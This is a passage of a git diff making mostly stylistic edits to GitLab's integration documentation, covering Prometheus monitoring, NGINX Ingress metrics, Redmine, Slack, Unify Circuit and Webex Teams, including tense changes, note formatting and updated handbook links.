| [Hangouts Chat](hangouts_chat.md) | Receive events notifications in Google Hangouts Chat | No |
| [HipChat](hipchat.md) | Private group chat and IM | No |
@@ -69,7 +69,7 @@ Click on the service links to see further configuration instructions and details
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/17874) in GitLab 12.4.
If a single push includes changes to more than three branches or tags, services
-supported by `push_hooks` and `tag_push_hooks` events won't be executed.
+supported by `push_hooks` and `tag_push_hooks` events aren't executed.
The number of branches or tags supported can be changed via
[`push_event_hooks_limit` application setting](../../../api/settings.md#list-of-settings-that-can-be-accessed-via-api-calls).
diff --git a/doc/user/project/integrations/project_services.md b/doc/user/project/integrations/project_services.md
index 90f91fbaa0d..69e2ea2856c 100644
--- a/doc/user/project/integrations/project_services.md
+++ b/doc/user/project/integrations/project_services.md
@@ -3,3 +3,6 @@ redirect_to: 'overview.md'
---
This document was moved to [Integrations](overview.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/user/project/integrations/prometheus.md b/doc/user/project/integrations/prometheus.md
index 97be16f8dd3..9d7960790ff 100644
--- a/doc/user/project/integrations/prometheus.md
+++ b/doc/user/project/integrations/prometheus.md
@@ -1,7 +1,7 @@
---
stage: Monitor
group: Health
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Prometheus integration
@@ -19,7 +19,7 @@ There are two ways to set up Prometheus integration, depending on where your app
- For deployments on Kubernetes, GitLab can automatically [deploy and manage Prometheus](#managed-prometheus-on-kubernetes).
- For other deployment targets, simply [specify the Prometheus server](#manual-configuration-of-prometheus).
-Once enabled, GitLab will automatically detect metrics from known services in the [metric library](prometheus_library/index.md). You can also [add your own metrics](../../../operations/metrics/index.md#adding-custom-metrics) and create
+Once enabled, GitLab detects metrics from known services in the [metric library](prometheus_library/index.md). You can also [add your own metrics](../../../operations/metrics/index.md#adding-custom-metrics) and create
[custom dashboards](../../../operations/metrics/dashboards/index.md).
## Enabling Prometheus Integration
@@ -48,7 +48,7 @@ Once you have a connected Kubernetes cluster, deploying a managed Prometheus is
Prometheus is deployed into the `gitlab-managed-apps` namespace, using the [official Helm chart](https://github.com/helm/charts/tree/master/stable/prometheus). Prometheus is only accessible within the cluster, with GitLab communicating through the [Kubernetes API](https://kubernetes.io/docs/concepts/overview/kubernetes-api/).
-The Prometheus server will [automatically detect and monitor](https://prometheus.io/docs/prometheus/latest/configuration/configuration/#kubernetes_sd_config) nodes, pods, and endpoints. To configure a resource to be monitored by Prometheus, simply set the following [Kubernetes annotations](https://kubernetes.io/docs/concepts/overview/working-with-objects/annotations/):
+The Prometheus server [automatically detects and monitors](https://prometheus.io/docs/prometheus/latest/configuration/configuration/#kubernetes_sd_config) nodes, pods, and endpoints. To configure a resource to be monitored by Prometheus, simply set the following [Kubernetes annotations](https://kubernetes.io/docs/concepts/overview/working-with-objects/annotations/):
- `prometheus.io/scrape` to `true` to enable monitoring of the resource.
- `prometheus.io/port` to define the port of the metrics endpoint.
@@ -165,8 +165,8 @@ Installing and configuring Prometheus to monitor applications is fairly straight
#### Configuration in GitLab
-The actual configuration of Prometheus integration within GitLab is very simple.
-All you will need is the domain name or IP address of the Prometheus server you'd like
+The actual configuration of Prometheus integration within GitLab
+requires the domain name or IP address of the Prometheus server you'd like
to integrate with. If the Prometheus resource is secured with Google's Identity-Aware Proxy (IAP),
additional information like Client ID and Service Account credentials can be passed which
GitLab can use to access the resource. More information about authentication from a
@@ -189,7 +189,7 @@ service account can be found at Google's documentation for
#### Thanos configuration in GitLab
You can configure [Thanos](https://thanos.io/) as a drop-in replacement for Prometheus
-with GitLab. You will need the domain name or IP address of the Thanos server you'd like
+with GitLab, using the domain name or IP address of the Thanos server you'd like
to integrate with.
1. Navigate to the [Integrations page](overview.md#accessing-integrations).
@@ -199,9 +199,10 @@ to integrate with.
### Precedence with multiple Prometheus configurations
+12345678901234567890123456789012345678901234567890123456789012345678901234567890
Although you can enable both a [manual configuration](#manual-configuration-of-prometheus)
-and [auto configuration](#managed-prometheus-on-kubernetes) of Prometheus, only
-one of them will be used:
+and [auto configuration](#managed-prometheus-on-kubernetes) of Prometheus, you
+can use only one:
- If you have enabled a
[Prometheus manual configuration](#manual-configuration-of-prometheus)
@@ -225,16 +226,16 @@ Developers can view the performance impact of their changes within the merge
request workflow. This feature requires [Kubernetes](prometheus_library/kubernetes.md) metrics.
When a source branch has been deployed to an environment, a sparkline and
-numeric comparison of the average memory consumption will appear. On the
+numeric comparison of the average memory consumption displays. On the
sparkline, a dot indicates when the current changes were deployed, with up to 30 minutes of
performance data displayed before and after. The comparison shows the difference
between the 30 minute average before and after the deployment. This information
is updated after each commit has been deployed.
-Once merged and the target branch has been redeployed, the metrics will switch
+Once merged and the target branch has been redeployed, the metrics switches
to show the new environments this revision has been deployed to.
-Performance data will be available for the duration it is persisted on the
+Performance data is available for the duration it is persisted on the
Prometheus server.
![Merge Request with Performance Impact](img/merge_request_performance.png)
diff --git a/doc/user/project/integrations/prometheus_library/cloudwatch.md b/doc/user/project/integrations/prometheus_library/cloudwatch.md
index 70f8a55bb07..b563dd34896 100644
--- a/doc/user/project/integrations/prometheus_library/cloudwatch.md
+++ b/doc/user/project/integrations/prometheus_library/cloudwatch.md
@@ -1,7 +1,7 @@
---
stage: Monitor
group: Health
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Monitoring AWS resources
@@ -33,4 +33,4 @@ A sample Cloudwatch Exporter configuration file, configured for basic AWS ELB mo
## Specifying the Environment label
In order to isolate and only display relevant metrics for a given environment
-however, GitLab needs a method to detect which labels are associated. To do this, GitLab will [look for an `environment` label](index.md#identifying-environments).
+however, GitLab needs a method to detect which labels are associated. To do this, GitLab [looks for an `environment` label](index.md#identifying-environments).
diff --git a/doc/user/project/integrations/prometheus_library/haproxy.md b/doc/user/project/integrations/prometheus_library/haproxy.md
index 0fbc49ddad7..c14c14658b7 100644
--- a/doc/user/project/integrations/prometheus_library/haproxy.md
+++ b/doc/user/project/integrations/prometheus_library/haproxy.md
@@ -1,7 +1,7 @@
---
stage: Monitor
group: Health
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Monitoring HAProxy
@@ -28,4 +28,4 @@ To get started with NGINX monitoring, you should install and configure the [HAPr
## Specifying the Environment label
In order to isolate and only display relevant metrics for a given environment
-however, GitLab needs a method to detect which labels are associated. To do this, GitLab will [look for an `environment` label](index.md#identifying-environments).
+however, GitLab needs a method to detect which labels are associated. To do this, GitLab [looks for an `environment` label](index.md#identifying-environments).
diff --git a/doc/user/project/integrations/prometheus_library/index.md b/doc/user/project/integrations/prometheus_library/index.md
index 35b111ab2b2..501e8ba7c1d 100644
--- a/doc/user/project/integrations/prometheus_library/index.md
+++ b/doc/user/project/integrations/prometheus_library/index.md
@@ -1,7 +1,7 @@
---
stage: Monitor
group: Health
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Prometheus Metrics library
@@ -21,8 +21,8 @@ Currently supported exporters are:
- [HAProxy](haproxy.md)
- [Amazon Cloud Watch](cloudwatch.md)
-We have tried to surface the most important metrics for each exporter, and will
-be continuing to add support for additional exporters in future releases. If you
+We have tried to surface the most important metrics for each exporter, and
+continue to add support for additional exporters in future releases. If you
would like to add support for other official exporters, contributions are welcome.
## Identifying Environments
diff --git a/doc/user/project/integrations/prometheus_library/kubernetes.md b/doc/user/project/integrations/prometheus_library/kubernetes.md
index 43c2d305437..ae330158a58 100644
--- a/doc/user/project/integrations/prometheus_library/kubernetes.md
+++ b/doc/user/project/integrations/prometheus_library/kubernetes.md
@@ -1,7 +1,7 @@
---
stage: Monitor
group: Health
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Monitoring Kubernetes
diff --git a/doc/user/project/integrations/prometheus_library/metrics.md b/doc/user/project/integrations/prometheus_library/metrics.md
index 7ace0ec5a93..a275efce5bb 100644
--- a/doc/user/project/integrations/prometheus_library/metrics.md
+++ b/doc/user/project/integrations/prometheus_library/metrics.md
@@ -3,3 +3,6 @@ redirect_to: 'index.md'
---
This document was moved to [another location](index.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/user/project/integrations/prometheus_library/nginx.md b/doc/user/project/integrations/prometheus_library/nginx.md
index 1757378fb70..4cb827b3b4a 100644
--- a/doc/user/project/integrations/prometheus_library/nginx.md
+++ b/doc/user/project/integrations/prometheus_library/nginx.md
@@ -1,7 +1,7 @@
---
stage: Monitor
group: Health
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Monitoring NGINX
@@ -29,11 +29,11 @@ NGINX server metrics are detected, which tracks the pages and content directly s
## Configuring Prometheus to monitor for NGINX metrics
-To get started with NGINX monitoring, you should first enable the [VTS statistics](https://github.com/vozlt/nginx-module-vts) module for your NGINX server. This will capture and display statistics in an HTML readable form. Next, you should install and configure the [NGINX VTS exporter](https://github.com/hnlq715/nginx-vts-exporter) which parses these statistics and translates them into a Prometheus monitoring endpoint.
+To get started with NGINX monitoring, you should first enable the [VTS statistics](https://github.com/vozlt/nginx-module-vts) module for your NGINX server. This captures and displays statistics in an HTML readable form. Next, you should install and configure the [NGINX VTS exporter](https://github.com/hnlq715/nginx-vts-exporter) which parses these statistics and translates them into a Prometheus monitoring endpoint.
-If you are using NGINX as your Kubernetes Ingress, GitLab will [automatically detect](nginx_ingress.md) the metrics once enabled in 0.9.0 and later releases.
+If you are using NGINX as your Kubernetes Ingress, GitLab [automatically detects](nginx_ingress.md) the metrics once enabled in 0.9.0 and later releases.
## Specifying the Environment label
In order to isolate and only display relevant metrics for a given environment
-however, GitLab needs a method to detect which labels are associated. To do this, GitLab will [look for an `environment` label](index.md#identifying-environments).
+however, GitLab needs a method to detect which labels are associated. To do this, GitLab [looks for an `environment` label](index.md#identifying-environments).
diff --git a/doc/user/project/integrations/prometheus_library/nginx_ingress.md b/doc/user/project/integrations/prometheus_library/nginx_ingress.md
index fdea800c410..f7542ec78f7 100644
--- a/doc/user/project/integrations/prometheus_library/nginx_ingress.md
+++ b/doc/user/project/integrations/prometheus_library/nginx_ingress.md
@@ -1,7 +1,7 @@
---
stage: Monitor
group: Health
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Monitoring NGINX Ingress Controller
@@ -10,7 +10,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
GitLab has support for automatically detecting and monitoring the Kubernetes NGINX Ingress controller. This is provided by leveraging the built-in Prometheus metrics included with Kubernetes NGINX Ingress controller [version 0.16.0](https://github.com/kubernetes/ingress-nginx/blob/master/Changelog.md#0160) onward.
-NOTE: **Note:**
+NOTE:
NGINX Ingress versions prior to 0.16.0 offer an included [VTS Prometheus metrics exporter](nginx_ingress_vts.md), which exports metrics different than the built-in metrics.
## Requirements
@@ -27,7 +27,7 @@ NGINX Ingress versions prior to 0.16.0 offer an included [VTS Prometheus metrics
## Configuring NGINX Ingress monitoring
-If you have deployed NGINX Ingress using GitLab's [Kubernetes cluster integration](../../clusters/index.md#installing-applications), it will [automatically be monitored](#about-managed-nginx-ingress-deployments) by Prometheus.
+If you have deployed NGINX Ingress using the GitLab [Kubernetes cluster integration](../../clusters/index.md#installing-applications), Prometheus [automatically monitors it](#about-managed-nginx-ingress-deployments).
For other deployments, there is [some configuration](#manually-setting-up-nginx-ingress-for-prometheus-monitoring) required depending on your installation:
@@ -37,7 +37,7 @@ For other deployments, there is [some configuration](#manually-setting-up-nginx-
### About managed NGINX Ingress deployments
-NGINX Ingress is deployed into the `gitlab-managed-apps` namespace, using the [official Helm chart](https://github.com/helm/charts/tree/master/stable/nginx-ingress). NGINX Ingress will be [externally reachable via the Load Balancer's Endpoint](../../../clusters/applications.md#ingress).
+NGINX Ingress is deployed into the `gitlab-managed-apps` namespace, using the [official Helm chart](https://github.com/helm/charts/tree/master/stable/nginx-ingress). NGINX Ingress is [externally reachable via the Load Balancer's Endpoint](../../../clusters/applications.md#ingress).
NGINX is configured for Prometheus monitoring, by setting:
@@ -45,11 +45,11 @@ NGINX is configured for Prometheus monitoring, by setting:
- `prometheus.io/scrape: "true"`, to enable automatic discovery.
- `prometheus.io/port: "10254"`, to specify the metrics port.
-When used in conjunction with the GitLab deployed Prometheus service, response metrics will be automatically collected.
+When used in conjunction with the GitLab deployed Prometheus service, response metrics are automatically collected.
### Manually setting up NGINX Ingress for Prometheus monitoring
-Version 0.9.0 and above of [NGINX Ingress](https://github.com/kubernetes/ingress-nginx) have built-in support for exporting Prometheus metrics. To enable, a ConfigMap setting must be passed: `enable-vts-status: "true"`. Once enabled, a Prometheus metrics endpoint will start running on port 10254.
+Version 0.9.0 and above of [NGINX Ingress](https://github.com/kubernetes/ingress-nginx) have built-in support for exporting Prometheus metrics. To enable, a ConfigMap setting must be passed: `enable-vts-status: "true"`. Once enabled, a Prometheus metrics endpoint starts running on port 10254.
Next, the Ingress needs to be annotated for Prometheus monitoring. Two new annotations need to be added:
@@ -60,6 +60,6 @@ Managing these settings depends on how NGINX Ingress has been deployed. If you h
## Specifying the Environment label
-In order to isolate and only display relevant metrics for a given environment, GitLab needs a method to detect which labels are associated. To do this, GitLab will search for metrics with appropriate labels. In this case, the `ingress` label must `<CI_ENVIRONMENT_SLUG>`.
+In order to isolate and only display relevant metrics for a given environment, GitLab needs a method to detect which labels are associated. To do this, GitLab searches for metrics with appropriate labels. In this case, the `ingress` label must `<CI_ENVIRONMENT_SLUG>`.
-If you have used [Auto Deploy](../../../../topics/autodevops/stages.md#auto-deploy) to deploy your app, this format will be used automatically and metrics will be detected with no action on your part.
+If you have used [Auto Deploy](../../../../topics/autodevops/stages.md#auto-deploy) to deploy your app, this format is used automatically and metrics are detected with no action on your part.
diff --git a/doc/user/project/integrations/prometheus_library/nginx_ingress_vts.md b/doc/user/project/integrations/prometheus_library/nginx_ingress_vts.md
index ec7b1ee6d10..c855e564753 100644
--- a/doc/user/project/integrations/prometheus_library/nginx_ingress_vts.md
+++ b/doc/user/project/integrations/prometheus_library/nginx_ingress_vts.md
@@ -1,14 +1,14 @@
---
stage: Monitor
group: Health
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Monitoring NGINX Ingress Controller with VTS metrics
> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/13438) in GitLab 9.5.
-NOTE: **Note:**
+NOTE:
[NGINX Ingress version 0.16](nginx_ingress.md) and above have built-in Prometheus metrics, which are different than the VTS based metrics.
GitLab has support for automatically detecting and monitoring the Kubernetes NGINX Ingress controller. This is provided by leveraging the included VTS Prometheus metrics exporter in [version 0.9.0](https://github.com/kubernetes/ingress-nginx/blob/master/Changelog.md#09-beta1) through [0.15.x](https://github.com/kubernetes/ingress-nginx/blob/master/Changelog.md#0150).
@@ -27,7 +27,7 @@ GitLab has support for automatically detecting and monitoring the Kubernetes NGI
## Configuring NGINX Ingress monitoring
-If you have deployed NGINX Ingress using GitLab's [Kubernetes cluster integration](../../clusters/index.md#installing-applications), it will [automatically be monitored](#about-managed-nginx-ingress-deployments) by Prometheus.
+If you have deployed NGINX Ingress using the GitLab [Kubernetes cluster integration](../../clusters/index.md#installing-applications), Prometheus [automatically monitors](#about-managed-nginx-ingress-deployments) it.
For other deployments, there is [some configuration](#manually-setting-up-nginx-ingress-for-prometheus-monitoring) required depending on your installation:
@@ -37,7 +37,7 @@ For other deployments, there is [some configuration](#manually-setting-up-nginx-
### About managed NGINX Ingress deployments
-NGINX Ingress is deployed into the `gitlab-managed-apps` namespace, using the [official Helm chart](https://github.com/helm/charts/tree/master/stable/nginx-ingress). NGINX Ingress will be [externally reachable via the Load Balancer's Endpoint](../../../clusters/applications.md#ingress).
+NGINX Ingress is deployed into the `gitlab-managed-apps` namespace, using the [official Helm chart](https://github.com/helm/charts/tree/master/stable/nginx-ingress). NGINX Ingress is [externally reachable via the Load Balancer's Endpoint](../../../clusters/applications.md#ingress).
NGINX is configured for Prometheus monitoring, by setting:
@@ -45,11 +45,11 @@ NGINX is configured for Prometheus monitoring, by setting:
- `prometheus.io/scrape: "true"`, to enable automatic discovery.
- `prometheus.io/port: "10254"`, to specify the metrics port.
-When used in conjunction with the GitLab deployed Prometheus service, response metrics will be automatically collected.
+When used in conjunction with the GitLab deployed Prometheus service, response metrics are automatically collected.
### Manually setting up NGINX Ingress for Prometheus monitoring
-Version 0.9.0 and above of [NGINX Ingress](https://github.com/kubernetes/ingress-nginx) has built-in support for exporting Prometheus metrics. To enable, a ConfigMap setting must be passed: `enable-vts-status: "true"`. Once enabled, a Prometheus metrics endpoint will start running on port 10254.
+Version 0.9.0 and above of [NGINX Ingress](https://github.com/kubernetes/ingress-nginx) has built-in support for exporting Prometheus metrics. To enable, a ConfigMap setting must be passed: `enable-vts-status: "true"`. Once enabled, a Prometheus metrics endpoint begins running on port 10254.
Next, the Ingress needs to be annotated for Prometheus monitoring. Two new annotations need to be added:
@@ -60,6 +60,6 @@ Managing these settings depends on how NGINX Ingress has been deployed. If you h
## Specifying the Environment label
-In order to isolate and only display relevant metrics for a given environment, GitLab needs a method to detect which labels are associated. To do this, GitLab will search for metrics with appropriate labels. In this case, the `upstream` label must be of the form `<KUBE_NAMESPACE>-<CI_ENVIRONMENT_SLUG>-*`.
+In order to isolate and only display relevant metrics for a given environment, GitLab needs a method to detect which labels are associated. To do this, GitLab searches for metrics with appropriate labels. In this case, the `upstream` label must be of the form `<KUBE_NAMESPACE>-<CI_ENVIRONMENT_SLUG>-*`.
-If you have used [Auto Deploy](../../../../topics/autodevops/stages.md#auto-deploy) to deploy your app, this format will be used automatically and metrics will be detected with no action on your part.
+If you have used [Auto Deploy](../../../../topics/autodevops/stages.md#auto-deploy) to deploy your app, this format is used automatically and metrics are detected with no action on your part.
diff --git a/doc/user/project/integrations/prometheus_units.md b/doc/user/project/integrations/prometheus_units.md
index ee4f3ed77d4..0c2ce3002ee 100644
--- a/doc/user/project/integrations/prometheus_units.md
+++ b/doc/user/project/integrations/prometheus_units.md
@@ -3,3 +3,6 @@ redirect_to: '../../../operations/metrics/dashboards/yaml_number_format.md'
---
This document was moved to [another location](../../../operations/metrics/dashboards/yaml_number_format.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/user/project/integrations/redmine.md b/doc/user/project/integrations/redmine.md
index 2a85dd9b79b..38d6194b390 100644
--- a/doc/user/project/integrations/redmine.md
+++ b/doc/user/project/integrations/redmine.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Ecosystem
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Redmine Service
@@ -15,9 +15,9 @@ info: To determine the technical writer assigned to the Stage/Group associated w
| ----- | ----------- |
| `project_url` | The URL to the project in Redmine which is being linked to this GitLab project |
| `issues_url` | The URL to the issue in Redmine project that is linked to this GitLab project. Note that the `issues_url` requires `:id` in the URL. This ID is used by GitLab as a placeholder to replace the issue number. |
- | `new_issue_url` | This is the URL to create a new issue in Redmine for the project linked to this GitLab project. **This is currently not being used and will be removed in a future release.** |
+ | `new_issue_url` | This is the URL to create a new issue in Redmine for the project linked to this GitLab project. **This is currently not being used and is planned be removed in a future release.** |
- Once you have configured and enabled Redmine you'll see the Redmine link on the GitLab project pages that takes you to the appropriate Redmine project.
+ Once you have configured and enabled Redmine, you see the Redmine link on the GitLab project pages that takes you to the appropriate Redmine project.
As an example, below is a configuration for a project named `gitlab-ci`.
@@ -34,7 +34,7 @@ Issues in Redmine can be referenced in two alternative ways:
then followed by capital letters, numbers or underscores, and `<ID>` is
a number (example `API_32-143`).
-We suggest using the longer format if you have both internal and external issue trackers enabled. If you use the shorter format and an issue with the same ID exists in the internal issue tracker the internal issue will be linked.
+We suggest using the longer format if you have both internal and external issue trackers enabled. If you use the shorter format and an issue with the same ID exists in the internal issue tracker, the internal issue is linked.
Please note that `<PROJECT>` part is ignored and links always point to the
address specified in `issues_url`.
diff --git a/doc/user/project/integrations/servicenow.md b/doc/user/project/integrations/servicenow.md
index d549921b9d9..1de69f60a34 100644
--- a/doc/user/project/integrations/servicenow.md
+++ b/doc/user/project/integrations/servicenow.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Ecosystem
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# ServiceNow integration
diff --git a/doc/user/project/integrations/services_templates.md b/doc/user/project/integrations/services_templates.md
index abb072c9a0a..a60af93a899 100644
--- a/doc/user/project/integrations/services_templates.md
+++ b/doc/user/project/integrations/services_templates.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Ecosystem
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Service templates
@@ -24,8 +24,7 @@ If you disable the template:
- GitLab default values again become the default values for integrations on
new projects.
-- Projects previously configured using the template will continue to use
- those settings.
+- Projects previously configured using the template continue to use those settings.
If you change the template, the revised values are applied to new projects. This feature
does not provide central administration of integration settings.
@@ -49,7 +48,7 @@ Recommendation:
- Copy the working settings from a project to the template.
There is no "Test settings" option when enabling templates. If the settings do not work,
-these incorrect settings will be applied to all existing projects that do not already have
+these incorrect settings are applied to all existing projects that do not already have
the integration configured. Fixing the integration then needs to be done project-by-project.
## Service for external issue trackers
@@ -58,6 +57,6 @@ The following image shows an example service template for Redmine.
![Redmine service template](img/services_templates_redmine_example.png)
-For each project, you will still need to configure the issue tracking
+For each project, you still need to configure the issue tracking
URLs by replacing `:issues_tracker_id` in the above screenshot with the ID used
by your external issue tracker.
diff --git a/doc/user/project/integrations/slack.md b/doc/user/project/integrations/slack.md
index e6f12c2532f..9e9f5b8297f 100644
--- a/doc/user/project/integrations/slack.md
+++ b/doc/user/project/integrations/slack.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Ecosystem
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Slack Notifications Service
@@ -10,16 +10,16 @@ The Slack Notifications Service allows your GitLab project to send events
(such as issue creation) to your existing Slack team as notifications. Setting up
Slack notifications requires configuration changes for both Slack and GitLab.
-NOTE: **Note:**
+NOTE:
You can also use Slack slash commands to control GitLab inside Slack. This is the
separately configured [Slack slash commands](slack_slash_commands.md).
## Slack configuration
1. Sign in to your Slack team and [start a new Incoming WebHooks configuration](https://my.slack.com/services/new/incoming-webhook).
-1. Select the Slack channel where notifications will be sent to by default.
+1. Select the Slack channel where notifications should be sent to by default.
Click the **Add Incoming WebHooks integration** button to add the configuration.
-1. Copy the **Webhook URL**, which we will use later in the GitLab configuration.
+1. Copy the **Webhook URL**, which we use later in the GitLab configuration.
## GitLab configuration
@@ -36,7 +36,7 @@ separately configured [Slack slash commands](slack_slash_commands.md).
- To send messages to channels, enter the Slack channel names, separated by commas.
- To send direct messages, use the Member ID found in the user's Slack profile.
- NOTE: **Note:**
+ NOTE:
Usernames and private channels are not supported.
1. In **Webhook**, provide the webhook URL that you copied from the
@@ -47,7 +47,7 @@ separately configured [Slack slash commands](slack_slash_commands.md).
to send notifications for.
1. Click **Test settings and save changes**.
-Your Slack team will now start receiving GitLab event notifications as configured.
+Your Slack team now starts receiving GitLab event notifications as configured.
### Triggers available for Slack notifications
@@ -110,7 +110,7 @@ result = Net::HTTP.get(URI('https://<GITLAB URL>'));0
```
If GitLab is not trusting HTTPS connections to itself, then you may
-need to [add your certificate to GitLab's trusted certificates](https://docs.gitlab.com/omnibus/settings/ssl.html#install-custom-public-certificates).
+need to [add your certificate to the GitLab trusted certificates](https://docs.gitlab.com/omnibus/settings/ssl.html#install-custom-public-certificates).
If GitLab is not trusting connections to Slack, then the GitLab
OpenSSL trust store is incorrect. Some typical causes: overriding
diff --git a/doc/user/project/integrations/slack_slash_commands.md b/doc/user/project/integrations/slack_slash_commands.md
index 7c2413fce81..1e4577fb88e 100644
--- a/doc/user/project/integrations/slack_slash_commands.md
+++ b/doc/user/project/integrations/slack_slash_commands.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Ecosystem
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Slack slash commands **(CORE ONLY)**
@@ -14,7 +14,7 @@ Slack, without having to leave it. This requires configurations in both Slack an
GitLab can also send events (e.g., `issue created`) to Slack as notifications.
This is the separately configured [Slack Notifications Service](slack.md).
-NOTE: **Note:**
+NOTE:
For GitLab.com, use the [Slack app](gitlab_slack_application.md) instead.
## Configuration
diff --git a/doc/user/project/integrations/unify_circuit.md b/doc/user/project/integrations/unify_circuit.md
index c4959a8711b..e8dcb577aba 100644
--- a/doc/user/project/integrations/unify_circuit.md
+++ b/doc/user/project/integrations/unify_circuit.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Ecosystem
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Unify Circuit service
@@ -12,7 +12,8 @@ The Unify Circuit service sends notifications from GitLab to the conversation fo
1. Open the conversation in which you want to see the notifications.
1. From the conversation menu, select **Configure Webhooks**.
-1. Click **ADD WEBHOOK** and fill in the name of the bot that will post the messages. Optionally define avatar.
+1. Click **ADD WEBHOOK** and fill in the name of the bot to post the messages. Optionally
+ define an avatar.
1. Click **SAVE** and copy the **Webhook URL** of your webhook.
For more information, see the [Unify Circuit documentation for configuring incoming webhooks](https://www.circuit.com/unifyportalfaqdetail?articleId=164448).
@@ -28,6 +29,6 @@ When you have the **Webhook URL** for your Unify Circuit conversation webhook, y
1. Paste the **Webhook URL** that you copied from the Unify Circuit configuration step.
1. Configure the remaining options and click `Save changes`.
-Your Unify Circuit conversation will now start receiving GitLab event notifications as configured.
+Your Unify Circuit conversation now starts receiving GitLab event notifications as configured.
![Unify Circuit configuration](img/unify_circuit_configuration.png)
diff --git a/doc/user/project/integrations/webex_teams.md b/doc/user/project/integrations/webex_teams.md
index 7654909b735..8a3383fd0e7 100644
--- a/doc/user/project/integrations/webex_teams.md
+++ b/doc/user/project/integrations/webex_teams.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Ecosystem
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Webex Teams service
@@ -10,7 +10,7 @@ You can configure GitLab to send notifications to a Webex Teams space.
## Create a webhook for the space
-1. Go to the [Incoming Webhooks app page](https://apphub.webex.com/teams/applications/incoming-webhooks-cisco-systems-38054).
+1. Go to the [Incoming Webhooks app page](https://apphub.webex.com/messaging/applications/incoming-webhooks-cisco-systems-38054).
1. Click **Connect** and log in to Webex Teams, if required.
1. Enter a name for the webhook and select the space to receive the notifications.
1. Click **ADD**.
diff --git a/doc/user/project/integrations/webhooks.md b/doc/user/project/integrations/webhooks.md
index 6a436c5093e..d8b51e8b777 100644
--- a/doc/user/project/integrations/webhooks.md
